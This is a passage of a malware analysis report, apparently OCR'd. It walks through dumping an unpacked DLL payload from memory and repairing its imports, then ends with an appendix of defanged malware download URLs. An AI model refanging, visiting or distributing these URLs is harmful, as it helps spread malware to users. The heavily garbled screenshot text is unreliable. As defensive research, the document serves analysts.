ProcessHacker. When running ProcessHacker in Administrative mode > selecting the running process inside x32dbg >
open Properties > Memory tap > Locate the same memory (0x24f0000) “which is dynamic value different on each run” >

Right click and save

Hacker View Tools Users Help
% Refresh {3 Options | 8 Find handlesor DLLs 34 System information | [ [ X
Processes Services Network Disk
Name PD ASLR  Integrity CPU /Ototal .. Privateb.. Username Descrption
v [4] System Idle Process 0 9650 R ARm s e
v [¥] system 4 014 ®
Eler=en S SR General Statistics Performance Threads Token Modules Memory Environment Handes GPU  Diskand Network Comment
[&] Memory Compression 2204 System
[ interupts on rice freeregons Stings... | | Refesh
[ Registry 13 System
] csrssexe 516 ASIR  System Sase address e See Protect.. Use Total A
[ winiitexe 92 ASIR - System 0930000 Prvate 102448 RW  Stack 324t (read 6032) €
> [ senvicesexe 0 ASIR  System 0230000 Vepped sis 8 C:\Windons\SyswOWSpleacare.di .
[ lass.exe T84 ASIR  System 000000 Prvate 418 R .
[ fontdrvhostexe 916 ASIR  Low oxe50000 Prvate 102418 AW Heap32bt(D D) e
= bl ol | D e Los R0 e sk (st 0 :
v [=7] winlogon.exe 692 ASLR  System Oxd50000 Mapped 2088 R
[ fontdrvhost.exe 920 ASLR  Low 0xf50000 Mapped 1508 R 7
[ dwm.exe 892 ASLR  System 0.67 0x100000 Mapped 20,484k R ¢
¥'n explorerexe 540 ASIR - Medium 082 0230000 Inoge 62418 WOC  CilUsers REM\Desktop onrioad ibeay32.dl s
[ vm3dsenvice.exe 664 ASIR  Medium ox2520000 Prvate 5248 RUX 55
D vmtoolsd.exe 398 ASIR  Mediom 02590000 Prvate 648 RW  Heap325tMD2) x
@ OneDrive.exe 1468 ASLR  Medium 0x2750000 Private 64k8 RW Heap 324t (ID 3) 1
8 processHacker.exe. 2148 ASIR  High 054 0x2920000 private 648 AW Heap 32t (ID 9) 1
om0 Inage 348 wox %
0530000 Iage 6%i8 wox 2%
0osE0000  Inage ke wcx 3
0590000 Image k8 WK P
07550000 Inage 718 wex o
CPU Usage: 3.50% _Physical memory: 175 GB (2193%) Processes: 13 om0 | mae sossia o e
BT | > oxrsmoo Inoge L3028 WX 160
0x75920000 Image 384k8  WCX C:\Windows\SysWOWE4\baryptprimitives.di %
N 0x75300000 Image 9268 WX C:Windows \SyswOWs4\in32u.d &
075220000 Image 88 WX 6432l 156
070000 Inage 14818 WOX  CilWindons j64imm32.dl «
07000 Inage 25208 WCX  Ci\Windows| f64combase.dl »:
08090000 Inage s%i8 wox 64kemels2.dI 2
006130000 Inage L1828 wox esrtbase.dl sy
ox7620000 < >
Cose

14 item

[Figure 24] ProcessHacker Dumping memory

When loading this dumped binary in PE-bear, it appears to not having any Imports. Which is normal because it’s been

dumped from memory, but it requires fix get things right

8 PE-bear 050 [C:/Users/REM/Deskto dovload!mixed 240000 mem_dump i) - o x
Fle Setings Compure _info
~ @ 2410000 mem dumpbin X+ 2 a9
D05 Header s 01z24scresancoEr ~
@ oossub sis0 =
v NTHesders oo
Sgnature s130
FieHeader s1co
Optiona Header s10
Secton Headers ot
v Sectons o v
v % st
> st Dosom: text | Geneol | DOSHE  RehME  Ferd  Optoodnd  Sectonns  MEwos  Mimos  Bomeickc  B0cug
L k2
£ doa Offe Name Func. Count_ Bound? OriginaFistThun TimeDateStamp_Forwarder _ NameRVA _ FistThunk -
& reoc 300 o FaLsE 2DCFE  TTDGEB  ESDESB  DGIBAA  AMHAS
u 0 FALSE WCIE9  DAEGB  4BOCDECA  DBBICSE  ETSIOCEE
3a08 0 FALSE OBSEFBSS  TOMDIFD GEBDCRM 4ISeDs  4BTESOS
s 0 FaLSE FBRAIRE  SFABSSS TNCEBBS BBRSQN  AGCRCS
34000 0 FaLsE MEAFR  DITICE  E2ZDBC  TBRIAR 26980
30054 0 FaLse ODTDEE  GSCESS  AGENE  GFI24086  7BREDY
34068 0 FaLsE OReioAz  EF7em ECESEC GRS 7CERS
3n07C 0 FaLSE MIODS RN SccwRs  dMceE 76
e wra a pres a a a a Thamss v
{0enties]
£
§
£
g
. Voo C e ROl eass000 i

[Figure 25] PE-bear Imports section

The fix requires matching the ‘Raw Addresses’ to match ‘Virtual Addresses’ of this binary. When values matched the

Imports section is fixed and shows DLL values

PE-bear .50 G/ Users/REM)/ Desktop/ download/mixec 2410000 mern_dump bin
P e

Fie Setting: Compare Info

~ [ 2410000 mem_dump.bin x % 5 89
005 Hesder
@ 005 o
v % NHesdes o

Signature 1m0
File Header s1c0
Optionsl Header 100

Section Headers

¥ Sections siF0
v % tet
[ e Lcemll oo [ sl e ] v [ eerell W W s
£ o + @ |
-l e S ™
B wo i s o ;
w Tm om0 o ;
— -
5 W
LW o
| 35000
g o
2 L}
. Loaded: C:/Users/REM/Desktop/download/mixed/24f0000 mem dump.bin Check for updates
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8 PE-bese 1050 [Csers/ REM/Deshtop) denplosd/mixed 40000 e dump.fixech ]

Fie Sttngs Compye nfo
T 2410000_mem_dummpbin X+ 0amn s s
005 Hescr s cizsascresascozr sizsescresascors -
@ 005 s 5090 56 56 OB 74 24 OC €A 00 9D 4C 24 04 T3 0§ DB 00
© . NIHeades soo 09 es =7 ca A i3 €5 €8 0F 51 A1 8 10 78 00 00
Spetiva soBs a3 oa B 52 02 o7 Be oE 33 80 2 03 45 €0 74 30
Fie Heaser soco 58 36 Ca a1 2 02 63 7 3¢ 10 01 7% €3 00 30 08
Options Hesder so0 B0 3 G2 00 76 6 EB 47 64 AL 10 00 40 00 28 70
Cection esden 300 3074 07 CE 06 6 B2 53 03 GL OF B 45 €5 B: 52
et 307002 o5 Co 75 00 s 45 58 5 75 0 3 37 00 00 o8
't_‘:' Ossom text | Geers  DOSHr Rkhegr err  Optonwrar | Sectonrds  Megets  BMipors B8 swercoc B8 oeng
) =
& rdeta =
- Hame Rav Adde. v sie Vitusl A, Vtusl Sze Crorscteratics Pt Foc. Mo, o Rl Mo, o Lineru,
o et w0 w0 o o e o o
- i s S0 B0 0 a0 0 o o
5 2460000, mem. e e i s o0 a0 Bo0 om0 comw 0 o o
005 Hescr e mo M 0 &8 om0 o °
W 00s s
v . NI Heades
Sgnature
e Hesder =
Options Hesder o
Secion Hesders e
~ sectons 3
e <
+ =0 £
& i El
£ dma §
& e g
=z

24R000_mem_dmpbn | 240000 mem _smp_faed by

Loaded: C/\sers/REMI Desktos/ devnlosd i /240000 e dummo fxed bin Chckfor usdates

[Figure 26] PE-bear Fixing Raw Addresses

Compared with [Figure 12] the new dumped file seems to be entirely different binary with new compile time by Sep 2020

unlike the original PE which show compilation on 2009

ww.winitor.com - a X
property value
mds 9968E29001 EBEDTE1AE2FSICS2EFFE
E d‘;:::: ('i’;f‘:s”:;:f:n shal 515AFEBAOET032TFEIOEBCBDEFCC22ETIFEADABS
o e e e 2 sha2s6 51C35BE1C216876C 4325501641 CDO4CDDECS14C01DA4762F 747B0TAB366AEDBE
first-bytes (hex) 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
O optional-header (Console)
O directories (5) first-bytes (text) MZ i @
O sections (37.58%) size 638976 bytes
w0 libraries (kernel32) entropy 6.702
£ imports (2/2/0/171) imphash 1E51444TFD04E9505DC 193777BABAGSD
[ % exports (DlIRegisterServer) | <PY 32-bit
=0 tls-callbacks (n/a) signature n/a
(2 resources (n/a) entry-point (hex) 56 56 88 74 24 0C 64 00 8D 4C 24 04 E8 DF DB 00 00
st strings (51/13/21/13/5850) | file-version n/a
¥ debug (Sep.2020) file-description n/a
& manifest (n/z) file-type dynarnic-link-library
+-[£a] version (n/a) subsystem Console
G certificate (n/a) compiler-stamp SatSep 19 16:11:12 2020

w7 overlay (unknown)

debugger-stamp  SatSep 19 1671112 2020

< >
[ sha256: 51C33BE1CE16876C4325501641CD04CDDENS14C01DALTE2FTATBOTAG366AGDBE cpu: 32-bit  file-type: dynamic-link-library  subsystem: Consele
[Figure 27] Pestudio look of the new binary
pestudio Malware Initial Assessment - www.winitor.com
File Help
wHXxHE?
55 chusers\rem\desktop\downle [ ype size blackist (51) hint (13) whitelist (81)  group (13)  value (6031)
ul indicators (1/16) unieode 2 s libeay22.dl
V] virustotl (networkeron | @ x x c:\Rosestart\pitchtry\Winknev\Receive pdb
S ;"“’:h‘::yﬁ‘;";"f“’“ | asci 0 x x CA\Users\REM\Desktoph download\DL LLoader32_FBCE.exe
5 optional-header (Consele | 5 2 x x C:\Users\REM\AppData\Local\Temp\
o drectories ) sci @ x x ci\Rosestart\pitchtry\ Winknev\Receive pdb
O sections (7.38%) ascii o - x IThis program cannot be run in DOS mode.
O libraries (kemel32) asci 4 x wZ
2] imports (2/2/0/1/1) ascii 4 0 SWH
[ exports (DIRegisterServer) | ascii 1 x Receivedll
o tis-callbacks (n/a) ascii 1 x Receivedll
o x leus ca=
3 x temamcecs
2 x KERNEL32DLL
) x - IEEIIN Getprocesswindowstation
24 x - 28 GetUserObjectinformation
& certficate (n/s) asci 15 - - 2 GetActiveWindow
13 overlay (unknown) ascii 17 x - 2 GetModuleFileName
ascii i x - 2 GetModuleFileName
ascii " - - 2 LoadLibrary
ascii 15 - 2 GetModuleHandle
ascii 14 - 2 GetProchddress
ascii 15 - 2 GetModuleHandle
ascii " - 2 LoadLibrary
ascii 15 - 2 GetModuleHandle
ascii 14 - 2 GetProcaddress
ascii 15 - 2 GetModuleHandle
ascii 2 - AN GetstdHandle
ascii 12 - - P20 GetstdHandle
ascii 2 x - - [N GetTmeZonelnformation
= o - -~ I QuenpatormanceCounter
ascii 2 x - - 180 GetTimeZonelnformation
ascii 2 x - - 180 QuenPerformanceCounter
< > | ascit ” - - - I =DebuggerPresent
. shadst: 51C35BEICE168T6C4325501641C DO4CDDEOBIAC IDALTGZFTATBOTAG36GAGDBE cpu: 32-bit_file-type: dynamic-link-library _ subsystem: Console _ entry-point: 0x00003D%0 signature: n/a

[Figure 28] Pestudio strings section
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File

Size

File Name SHA265

24£f0000_mem_dump-
f.bin

51C35BE1C816876C4325501641CD04CDDE0814C01DA4762F747B07A6366A6DBE  624KB
[Table 3] Packed file
Appendix - A

DO NOT click at any URL

hxxps://lensshadow[ . Jcom/q25n2yc1[.]zip
hxxps://sharkmarketing[.]site/h5vhbbmkx[.]rar
hxxps://lakeshoresolutions[.]site/vzuqvbc2u[.]zip
hxxps://sikhwalsamachar[.]com/hvpwmw[.]zip
hxxps://library[.Jarihantmbainstitute[.Jac[.]in/dcb18fi[.]zip
hxxps://rcoutreach[.]Jcom/j300zhin[.]zip
hxxps://alsaqlain[.]mtzinfotech[.]com/qveoxuhz8[.]rar
hxxps://www[ . Jknoxfeed[.Jcom/mrcjy@n56[.Jzip
hxxps://www[ . Imsctahmedabad[ . Jcom/ap7frbox[.]rar
hxxps://compremaisaqui[.Jcom[.Jbr/hvsz2tddd[.]zip
hxxps://greengluecompound[ . Jcom/dtyht107[.]zip
hxxps://utah[.]localcitycenter[.]com/vysme8[.]zip
hxxps://marscereals[.]com/zkx@fhjal[.]rar
hxxps://pinaral.]biz/ubtrfi[.]zip
hxxps://shop[ . ]zoomangle[.]com/c3f7zlwc[.]zip
hxxps://haifacollege[.]org[.]il/m@0zz5i0[.]zip
hxxps://allmobilezone[.]com/nrx7d41xr[.]rar
hxxps://bullseyemedial.]in/d8kyadv[.]zip
hxxps://makedacare[ .]Jcom/gzx066[ .]rar
hxxps://m[.]localcitycenter[.]com/m4Intxsdi[.]rar
hxxps://rklkpgcollege[.]com/q159te[.Jrar
hxxps://hesedorg[.]Jorg/ghbxb7[.]zip
hxxps://ngo[.]edusprit[.]com/e@ix7dxtal.]zip
hxxps://gutech[.]com[.]sa/yo4fz9[.]zip
hxxps://bcrg[.]co[.]za/tegx1al.]rar
hxxps://app[.]cutisclinics[.]com/gks@cu[.]rar
hxxps://pulaskil.]website/rbv9d79[.]zip
hxxps://daniel[.]idevs[.]site/pia5bsykl[.]zip
hxxps://neumaservicios[.Jcom[.Jar/qf3wgtie7[.]rar
hxxps://ssntrs[.]gm-computindo[.]com/mwo3b1[.]rar
hxxps://huffingtontribune[.Jcom/talt7wf[.]zip
hxxps://athenacapsg[ . Jcom/vqwslkvgx[.]zip
hxxps://www[ . Imareterra[.]com[.]co/vyjjiul.]zip
hxxps://ilovedaybreak[.]Jcom/z1rv2dy[.]rar
hxxps://aromatherapy[.]aloilindia[.]in/vtdeudnic[.]zip
hxxps://netagplus[.]com/x0@luusml[.]zip
hxxps://web[.]thebeessolution[.]com/cOw5alb[.]zip
hxxps://gc3m[.Jinfo/n69ym3bk[.Jzip
hxxps://web[.]thebeessolution[.]com/cOw5alb[.]zip
hxxps://srichaitanyacollegenlg[.]com/og3wncuv[.]zip
hxxps://www[ . ]spittinfire[.]com/imrgqn59[. Jrar
hxxps://eltrendelossuenios[.]com[.Jar/ttb1f99i[.]zip
hxxps://uk[.]idevs[.]site/jn2yx3[.]zip
hxxps://gaiapeaks[.]site/fyoja23[.]rar
hxxps://jumaa[l.]boldcreationsnam[.]com/okhq50[.]zip
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hxxps://wp[ . Josmangony[.]info/xrmigx[.]zip
hxxps://coriawp[.Jelmamamobil[.Jcom/upj6o9kdc[.]zip
hxxps://khabardarnews[.]in/ldng5uz[.]zip
hxxps://www[.]iam313[.]com/ojtyptcv[.]zip
hxxps://mobicraftdev[.Imincraftquickskineditor[.]com/vt@16q61[.]rar
hxxps://herbalextracts[.Jaloilindia[.]in/i2kwwtp[.]zip
hxxps://vegas[.]localcitycenter[.]com/uc5az9i[.]rar
hxxps://egyuttkonnyebb[.]zolitoth[.]com/dm98dcw[ . Jrar
hxxps://shekharsinstitutenalgonda[.]com/tjgua2[.]rar
hxxps://content-engine[ . Jrankoneagency[.]com/wirh835i[.]rar
hxxps://taksim[.]co[.]il/g9itqzo[.]rar
hxxps://scholarship[.Josmangony[.]info/pzf3d4h[.]zip
hxxps://kucianohotels[.]ng/eqztobgz[.]rar
hxxps://digitalaxom[.]in/dsd159g72[.]rar
hxxps://dspfoundation[.]com/os7kny3[.]zip
hxxps://55[.]1finaldatasolutions[.Jcom/snlkgbe[.]zip
hxxps://madleneval.]site/j10qoqf3[.]rar
hxxps://cadmuswebdesign[.]com/eqoczx[.]zip
hxxps://tryathletelife[.]com/qwyne38m[.]rar
hxxps://emosque[.]info/h7ftuq[.]zip
hxxps://notif1[.]priruz[.]co[.]in/v4fndtvg5[.]zip
hxxps://sagittalimited[.]site/mzpxej[.]zip
hxxps://cwbbox[.]com[.]br/eipp2c60[.]zip
hxxps://bajacamping[ . Jelmamamobil[.]com/f63yt5[.]1zip
hxxps://lms[.]cstdevs[.]com/r3rlugedb[.]zip
hxxps://joelbonissilver[.]com/mq6cs9c5[. Jzip
hxxps://arjunmajumdar[.]Jcom/i3dsc4[.Jrar
hxxps://truelyb[.]com/buiad8ek6[.]rar
hxxps://mraudtee[. Jpeatus[.Inet/y@g3j15k9[. Jzip
hxxps://letspogoyork[.]com/13v1z8zpf[.]rar
hxxps://ffsurveyors[.]com[.]br/gd22wtqu[.]rar
hxxps://bambooteal . Jstore/wdbyzv[.]zip
hxxps://hacklady[.]com/p742vtdn[.]rar
hxxps://sreenivasapaintingworks[.Jcom/pgbtf6[.]rar
hxxps://qurbanakbarindonesia[.]com/tg8gadi[.]zip
hxxps://quintadoabacate[ . ]Jcom/k5f9m33e8[ . 1zip
hxxps://leluibuffet[.]com[.]br/h17esn[.]zip
hxxps://todoapp[ . Jcstdevs[.]com/dgul98n5x[.]1zip
hxxps://salsahd[.]Jcom/tvjysy[.]rar
hxxps://pornonhd[ . Jcom/ik3gp8oc[.]zip
hxxps://alpha-chemistry[.]ir/ys7ur7jk[.]rar
hxxps://edurecruit[.]idevs[.]site/ufkd@3[.]zip
hxxps://ecovillefashion[.]com/bysrypj[.]zip
hxxps://tusharagarwall.Jonline/zbw@9n[.]rar
hxxps://www[ . Iminuevavidal.Jorg/g2anr8[.]rar
hxxps://ugateshop[ . Jcom/wdsTpcd[.]zip

hxxps://www[ . Jadamorinmusic[.]com/g33zak4[.]zip
hxxps://info[.]deftenglish[.Jcom/r3yprhn1z[.]zip
hxxps://meunikah[.Jcom/sny@k57qz[.]zip
hxxps://womenwithamandate[ . Jcom/wk920hw@[ . Jrar
hxxps://cubc[.Jelmamamobil[.]com/q8w20z[.]zip
hxxps://jobs[.]thebeessolution[.]com/ifr1jo2j0[.]zip
hxxps://strengthrer[.]com/tdz9d1fjw[.]zip
hxxps://agroshowtv[.Jcom/b5farl[.]rar
hxxps://nicoleth[.]Jelmamamobil[ . Jcom/mv1fup[.]zip
hxxps://childderm[.Jcom/e2tpt3[.]rar
hxxps://smithcalendar[.]cstdevs[.]Jcom/qvIp5brpm[.Jzip
hxxps://jettaffiliates[.]site/bqluv1@q[.]rar
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hxxps://bluesteelinfral.]com/1c@pb00[.]zip
hxxps://texturesbyvinita[.]com/dhzkiuf[.]rar
hxxps://corporativosanluis[.]net/dpeaemem1[.]rar
hxxps://wpcoder[.]io/rsbwunhso[.]zip
hxxps://burbankautoglass[.]net/z9qe5rva2[.]rar
hxxps://apil.]cstdevs[.]com/c4voodgc[.]rar
hxxps://coltdogracoes[.]com[.]br/d@6f6y[.]rar
hxxps://personal[.]personaltrainerfds[.]com/rhiwosfx[.]zip
hxxps://adithimedial.Jcom/hr9gbfn[.]zip
hxxps://clickce[.Jorg/f7qdijx3[.]zip
hxxps://talklivebuddy[.]com/myr@@k[.Jzip
hxxps://ourvisionopticals[.]store/ebnwgxj8[.]zip
hxxps://gory-store[.]com/wh@5c3[.]rar
hxxps://intships[.]com/fbeyyjr[.]zip
hxxps://floralwaters[.]aloilindia[.]in/psg2sfk[.]zip
hxxps://app[.]preranal.]info/j972z9[.]zip
hxxps://bpacit[.]in/p3qaf6[.]rar
hxxps://restauranttalksandstories[.]com/owutc3je[.]zip
hxxps://maill.Jwepartnersfiles[.]com/mwublp9s[.]zip
hxxps://palbas[.]cl/wm7qgb5ph[.Jrar
hxxps://corial.]elmamamobil[.]com/dx1dndal.Jzip
hxxps://visions[.Jalnisamart[.Jcom/1110tal[.]zip
hxxps://lakeshoresolutions[.]site/vzuqvbc2u[.]zip
hxxps://ngo[.]edusprit[.]Jcom/e@ix7dxtal.]zip
hxxps://burbankautoglass[.]net/z9qe5rva2[.]rar
hxxps://nicoleth[.]elmamamobil[ . Jcom/mv1fup[.]zip
hxxps://ngo[.]edusprit[.]com/e@ix7dxtal.]zip
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